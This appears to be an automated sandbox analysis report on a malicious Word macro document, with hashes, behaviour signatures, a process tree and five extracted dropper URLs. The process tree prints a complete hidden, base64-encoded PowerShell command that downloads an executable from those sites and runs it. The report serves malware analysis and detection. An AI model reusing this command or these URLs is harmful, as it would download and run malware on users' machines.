Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    04-05-2024 08:51

General

  • Target

    11f933cedc18581b6e3cbee57c98989a_JaffaCakes118.doc

  • Size

    182KB

  • MD5

    11f933cedc18581b6e3cbee57c98989a

  • SHA1

    915d1611aec25ac1c81da90158e8d4d67a6cb2de

  • SHA256

    1aadecae9e168d092eb93dbad3f0473f5c2c11233263ed2ace1269ae81743868

  • SHA512

    6eb7d198b4f57a544307b5318c91c5b18b86c521740a0197e53af4871a66e199eedcaec463c01dcd383c64f24ca908869150806b6fcaf860ec568566c0e26ed8

  • SSDEEP

    3072:i+2y/GdyaktGDWLS0HZWD5w8K7Nk9AGD7IBUOgmGhhjJ9U:i+2k44tGiL3HJk9AGD7bOgm6hjJ2

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://hanserefelektrik.com/wp-content/o0zEZ17669/

exe.dropper

http://governessfilms.com/cgi-bin/gnbw2/

exe.dropper

http://forming-a.com/mysql/0s53/

exe.dropper

http://harbour-springs.webonlinepro.com/cgi-bin/pdviP01/

exe.dropper

http://gomitra.com/aspnet_client/xkwsJj/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\11f933cedc18581b6e3cbee57c98989a_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1248
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2208
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABZAHgAcABmAHYAaQByAGwAawA9ACcARwBsAGsAYgBqAGMAagBxAHUAJwA7ACQAQQBnAGMAeQBiAGcAdABtAGwAbQBlAGMAIAA9ACAAJwAyADcANQAnADsAJABYAHMAcgBqAGwAbQBuAHQAdQByAD0AJwBaAGMAbAB3AGsAZABwAHYAdwBzAHUAdQBpACcAOwAkAEQAeAB4AHoAeQB3AHkAYwB4AHgAcwByAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEAZwBjAHkAYgBnAHQAbQBsAG0AZQBjACsAJwAuAGUAeABlACcAOwAkAEoAdQBsAG0AeQBzAGwAcwA9ACcAWgBnAHkAdwBtAGwAcABvACcAOwAkAEcAYQBnAHYAYwBrAG4AZgBmAGwAdwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgB3AEUAYgBDAEwAaQBFAG4AdAA7ACQATABsAHoAdABsAG8AaQBrAGUAYwA9ACcAaAB0AHQAcAA6AC8ALwBoAGEAbgBzAGUAcgBlAGYAZQBsAGUAawB0AHIAaQBrAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbwAwAHoARQBaADEANwA2ADYAOQAvACoAaAB0AHQAcAA6AC8ALwBnAG8AdgBlAHIAbgBlAHMAcwBmAGkAbABtAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBnAG4AYgB3ADIALwAqAGgAdAB0AHAAOgAvAC8AZgBvAHIAbQBpAG4AZwAtAGEALgBjAG8AbQAvAG0AeQBzAHEAbAAvADAAcwA1ADMALwAqAGgAdAB0AHAAOgAvAC8AaABhAHIAYgBvAHUAcgAtAHMAcAByAGkAbgBnAHMALgB3AGUAYgBvAG4AbABpAG4AZQBwAHIAbwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHAAZAB2AGkAUAAwADEALwAqAGgAdAB0AHAAOgAvAC8AZwBvAG0AaQB0AHIAYQAuAGMAbwBtAC8AYQBzAHAAbgBlAHQAXwBjAGwAaQBlAG4AdAAvAHgAawB3AHMASgBqAC8AJwAuACIAUwBwAGwAYABJAFQAIgAoACcAKgAnACkAOwAkAEcAcQBuAGYAcQByAGsAcAA9ACcAWABhAGEAawBkAHoAaQBlAHoAZgBuAGsAeQAnADsAZgBvAHIAZQBhAGMAaAAoACQASQB5AGMAdABiAGoAcABoAG0AbwB2ACAAaQBuACAAJABMAGwAegB0AGwAbwBpAGsAZQBjACkAewB0AHIAeQB7ACQARwBhAGcAdgBjAGsAbgBmAGYAbAB3AC4AIgBkAGAATwB3AE4AbABvAGAAQQBEAEYASQBgAEwARQAiACgAJABJAHkAYwB0AGIAagBwAGgAbQBvAHYALAAgACQARAB4AHgAegB5AHcAeQBjAHgAeABzAHIAcgApADsAJABYAHIAeQBrAGgAZQBnAHcAagB2AD0AJwBGAHcAZwBpAHcAbwBvAGcAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAEQAeAB4AHoAeQB3AHkAYwB4AHgAcwByAHIAKQAuACIATABlAE4AYABnAGAAVABoACIAIAAtAGcAZQAgADIANAA3ADUAOAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABEAHgAeAB6AHkAdwB5AGMAeAB4AHMAcgByACkAOwAkAE4AYwBrAHAAZwBuAHcAcwB2AHUAcwBhAD0AJwBXAHQAcQBkAHEAcABsAHMAYwAnADsAYgByAGUAYQBrADsAJABYAHEAdgBqAGwAbQByAGQAZgB4AGUAdQA9ACcAVgB6AHoAbABsAGQAZwB4AHIAcgB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAeABoAHUAegBjAHgAaQB4AGEAaQBqAD0AJwBXAGYAaAByAHoAegBuAHYAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2644

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9D7F4B3D.wmf

      Filesize

      444B

      MD5

      d4f33b569d9e5f607437188a325eaa8d

      SHA1

      f5068a78a3d5fa33103678c041ca1dc8f706ab0b

      SHA256

      bb36c1b0591e1094e915fc04ec908cd4651af0c3e04b45d31f3b5b7a642f602a

      SHA512

      a0e01181943e56e1e5cbb4c09d326b4af19af093de05266e0e9350e20fe55c2c3444b3352d0c985debe8ce30f2bd42791f74ed255d204c0284a5c6cc15fb7a9e

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      154f6c9b5b3119ded6a9ac86abd53cf9

      SHA1

      21f1283788400c262d12da18d6eba533270a70b2

      SHA256

      d1bbca37e3903b1ef32e4a109c1f97cc293bc6fd1037ce1ab69793c5f67e8154

      SHA512

      093d2b1eefa8a5df2d28645fc765b30c4f01b729cc760f323851f30179106303478821d47187f8eea9a63dfab06b6956c3b2fcd7630be76c74e67066fe105b6f

    • memory/1248-19-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/1248-26-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/1248-2-0x000000007167D000-0x0000000071688000-memory.dmp

      Filesize

      44KB

    • memory/1248-16-0x0000000006B20000-0x0000000006C20000-memory.dmp

      Filesize

      1024KB

    • memory/1248-21-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/1248-24-0x0000000006B20000-0x0000000006C20000-memory.dmp

      Filesize

      1024KB

    • memory/1248-23-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/1248-20-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/1248-0-0x000000002F5A1000-0x000000002F5A2000-memory.dmp

      Filesize

      4KB

    • memory/1248-7-0x0000000006940000-0x0000000006A40000-memory.dmp

      Filesize

      1024KB

    • memory/1248-27-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/1248-67-0x000000007167D000-0x0000000071688000-memory.dmp

      Filesize

      44KB

    • memory/1248-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1248-44-0x000000007167D000-0x0000000071688000-memory.dmp

      Filesize

      44KB

    • memory/1248-45-0x0000000006B20000-0x0000000006C20000-memory.dmp

      Filesize

      1024KB

    • memory/1248-46-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/1248-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2644-34-0x0000000001E10000-0x0000000001E18000-memory.dmp

      Filesize

      32KB

    • memory/2644-33-0x000000001B7A0000-0x000000001BA82000-memory.dmp

      Filesize

      2.9MB